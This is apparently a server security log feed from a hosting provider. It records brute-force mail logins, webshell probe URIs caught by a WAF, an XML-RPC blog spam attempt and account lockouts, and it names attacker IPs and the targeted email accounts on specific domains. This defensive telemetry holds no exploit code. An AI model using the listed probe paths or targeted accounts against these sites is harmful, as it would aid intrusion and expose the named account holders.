2026-02-01 01:39:14 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63713: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:39:18 dovecot_login authenticator failed for H=(zgDbdX9LW) [178.16.54.22]:64847: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:39:20 dovecot_login authenticator failed for H=(DD07hG4t) [185.36.81.54]:58541: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.114.143.79
country_id: 3865483
description:
2026-02-01 01:40:12 dovecot_login authenticator failed for H=host-cotesma-114-143-79.smandes.com.ar [181.114.143.79]:43733: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:40:21 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:62453: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.91.254.244
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/demos/img/img/img/photos/product.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.141
country_id: 2635167
description:
2026-02-01  1:40:24 194339 [Warning] Aborted connection 194339 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.141' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:40:37 dovecot_login authenticator failed for H=(icZHtjoFx3) [178.16.54.22]:55031: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-02-01 01:40:02 dovecot_login authenticator failed for H=([62.164.148.87]) [62.164.148.87]:56378: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:40:17 dovecot_login authenticator failed for H=(VaQBiMsbns) [185.36.81.54]:58655: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:41:02 dovecot_login authenticator failed for H=(ZO33sDu2g2) [178.16.54.22]:58057: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:41:03 dovecot_login authenticator failed for H=(JZxw09dXJ9) [185.36.81.54]:57000: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:41:37 dovecot_login authenticator failed for H=(KBULvExmVQ) [185.36.81.54]:51990: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:42:14 dovecot_login authenticator failed for H=(oTgPKBN) [178.16.54.22]:49565: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:42:22 dovecot_login authenticator failed for H=(IXWoM3) [185.36.81.54]:56032: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:43:26 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:49368: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:43:30 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:43:02 dovecot_login authenticator failed for H=(nKRVQsi2s) [185.36.81.54]:53994: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:43:06 dovecot_login authenticator failed for H=(nJYZBSVz9X) [178.16.54.22]:53363: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:44:46 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50145: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:44:19 dovecot_login authenticator failed for H=(ZcrUt5S) [185.36.81.54]:62561: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:44:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:44:23 dovecot_login authenticator failed for H=(npmmLubi) [178.16.54.22]:50737: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-02-01 01:44:29 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:53926: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 01:44:44 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:50390: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 01:44:07 dovecot_login authenticator failed for H=(nsg-corporate-227.230.187.122.airtel.in) [122.187.230.227]:58735: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:44:19 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63457: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:45:16 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50078: 535 Incorrect authentication data (set_id=testing@mamstg.manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:45:57 dovecot_login authenticator failed for H=(8klRbs) [185.36.81.54]:56395: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 01:45:18 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:33537: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.121.1.156
country_id: 6252001
description:
2026-02-01 01:45:21 dovecot_login authenticator failed for H=([24.121.1.156]) [24.121.1.156]:35959: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-02-01 01:45:30 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net (static-200-105-141-161.acelerate.net) [200.105.141.172]:59396: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:45:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:45:12 dovecot_login authenticator failed for H=(jAdCurkHK4) [178.16.54.22]:49244: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:45:23 dovecot_login authenticator failed for H=(fbpMUD1) [185.36.81.54]:52291: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:45:26 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:52111: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.141
country_id: 2635167
description:
2026-02-01  1:46:29 194497 [Warning] Aborted connection 194497 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.141' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:46:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51238: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:46:04 dovecot_login authenticator failed for H=(vl88DJ35Jd) [185.36.81.54]:50768: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:47:11 dovecot_login authenticator failed for H=(rb8o6X1ea) [185.36.81.54]:52912: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:47:40 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:57127: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 01:47:47 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:50672: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 01:48:06 dovecot_login authenticator failed for H=(cBM9SCM) [137.220.199.220]:63257: 535 Incorrect authentication data (set_id=info@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.2
country_id: 1814991
description:
2026-02-01 01:48:23 dovecot_login authenticator failed for H=([111.61.177.2]) [111.61.177.2]:58724: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:48:42 dovecot_login authenticator failed for H=(pfM8Z2y) [185.36.81.54]:50332: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 01:48:42 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:58920: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 01:48:56 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:40375: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 01:49:17 dovecot_login authenticator failed for H=(5aKZ5YA) [137.220.199.220]:49523: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.200.248
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=81951514942118 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:49:03 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:56452: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.18.99.38
country_id: 1269750
description:
2026-02-01 01:49:48 dovecot_login authenticator failed for H=([182.95.20.225]) [125.18.99.38]:52506: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.26
country_id: 1733045
description:
2026-02-01 01:50:00 dovecot_login authenticator failed for H=([49.124.153.26]) [49.124.153.26]:42440: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:49:32 dovecot_login authenticator failed for H=(qMgDQ34RE) [185.36.81.54]:57367: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:50:01 dovecot_login authenticator failed for H=(wFoepOQ) [185.36.81.54]:49506: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:50:24 dovecot_login authenticator failed for H=(SKgEVXJ) [185.36.81.54]:63008: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:50:30 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:56654: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:50:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62081: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 01:50:10 dovecot_login authenticator failed for H=(bOQUNf) [137.220.199.220]:51906: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 01:51:18 dovecot_login authenticator failed for H=(bAtdaHk9ad) [137.220.199.220]:55812: 535 Incorrect authentication data (set_id=info@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:51:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54818: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:51:21 dovecot_login authenticator failed for H=(g4Jd1NHLN) [185.36.81.54]:61161: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 01:51:03 dovecot_login authenticator failed for H=(2ROjuNdd9) [137.220.199.220]:55181: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:51:57 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:59080: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.142.48.143
country_id: 2017370
description:
2026-02-01 01:51:48 dovecot_plain authenticator failed for H=(foxachrele) [213.142.48.143]:47165: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:52:27 dovecot_login authenticator failed for H=(zgSp3GH) [185.36.81.54]:60390: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:52:11 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62831: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.13.71.126
country_id: 1814991
description:
2026-02-01 01:52:59 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [123.13.71.126]:6140: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:52:06 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61126: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.217.180.34
country_id: 1835841
domain: cordage.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/admincordage/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:53:26 dovecot_login authenticator failed for H=(hZR28rWgf) [185.36.81.54]:64834: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-02-01 01:53:38 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:54215: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 01:53:20 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:38946: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.59.97.98
country_id: 2661886
description:
2026-02-01 01:53:05 dovecot_login authenticator failed for H=h-46-59-97-98.a1648.priv.bahnhof.se [46.59.97.98]:53926: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:54:31 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:50123: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.111
country_id: 1814991
description:
2026-02-01 01:54:39 dovecot_login authenticator failed for H=([27.24.141.111]) [27.24.141.111]:35034: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:54:15 dovecot_login authenticator failed for H=(e1ILi1WMG) [185.36.81.54]:53404: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-02-01 01:54:20 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:34888: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.91.153.26
country_id: 3077311
description:
2026-02-01 01:54:33 dovecot_login authenticator failed for H=u153-26.static.grape.cz [93.91.153.26]:53713: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.51.5
country_id: 1668284
description:
2026-02-01 01:54:25 dovecot_login authenticator failed for H=111-70-51-5.emome-ip.hinet.net [111.70.51.5]:52108: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.65.145
country_id: 2328926
description:
2026-02-01 01:54:39 dovecot_login authenticator failed for H=(ADMIN) [146.70.65.145]:26934: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-01 01:55:38 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:46776: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:55:11 dovecot_login authenticator failed for H=(fvFduTA8qE) [185.36.81.54]:54899: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:55:11 dovecot_login authenticator failed for H=(VTMUaND1) [185.36.81.54]:58160: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.108
country_id: 1814991
description:
2026-02-01 01:55:31 dovecot_login authenticator failed for H=([111.61.97.108]) [111.61.97.108]:59162: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 01:56:04 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:40376: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-02-01 01:56:07 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:44308: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:56:15 dovecot_login authenticator failed for H=(s7mLAJ8aS8) [185.36.81.54]:58502: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.124.139.77
country_id: 3144096
description:
2026-02-01 01:56:34 dovecot_login authenticator failed for H=([188.124.139.77]) [188.124.139.77]:59750: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:57:20 dovecot_login authenticator failed for H=(Gs3b4o9) [185.36.81.54]:53707: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:57:39 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:52263: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.185.98
country_id: 2017370
description:
2026-02-01 01:57:42 dovecot_login authenticator failed for H=([217.24.185.98]) [217.24.185.98]:38840: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.134.142.85
country_id: 6252001
description:
[2026-02-01 01:57:15 +0800] info [webmaild] 45.134.142.85 - project@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.208.88
country_id: 1880251
domain: autogreastar.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/autogrea/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.136.176.12
country_id: 2510769
description:
2026-02-01 01:57:29 dovecot_login authenticator failed for H=([83.136.176.12]) [83.136.176.12]:46848: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:58:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51909: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:58:10 dovecot_login authenticator failed for H=(rUvyWMH0tB) [185.36.81.54]:51765: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:58:59 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58507: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.34.237.45
country_id: 285570
description:
2026-02-01 01:58:55 dovecot_plain authenticator failed for H=(requate) [37.34.237.45]:44017: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:59:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49921: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 43.250.40.131
country_id: 1269750
domain: mckd.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38417.mckd.com.my||ServerName:mckd.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ca37b00dbfb8dfcddd66ebd0f810fa5f159f2644||Title:0xc39d8746||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:59:16 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62322: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:59:22 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:63846: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 02:00:00 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:35404: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.72.92.174
country_id: 1814991
description:
2026-02-01 01:59:32 dovecot_login authenticator failed for H=([125.72.92.174]) [125.72.92.174]:39250: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:59:40 dovecot_login authenticator failed for H=(03XThC) [185.36.81.54]:51991: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-02-01 01:59:45 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:33025: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:59:06 dovecot_login authenticator failed for H=(2pK2horXU) [185.36.81.54]:54150: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 02:00:29 dovecot_login authenticator failed for H=(3s9VcdcRz) [185.36.81.54]:57169: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 02:00:43 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:64023: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 02:00:05 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63669: 535 Incorrect authentication data (set_id=testing@symphony-led.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.27.93.138
country_id: 1835841
description:
2026-02-01 02:00:52 dovecot_login authenticator failed for H=([59.27.93.138]) [59.27.93.138]:39433: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.181.133.153
country_id: 3469034
description:
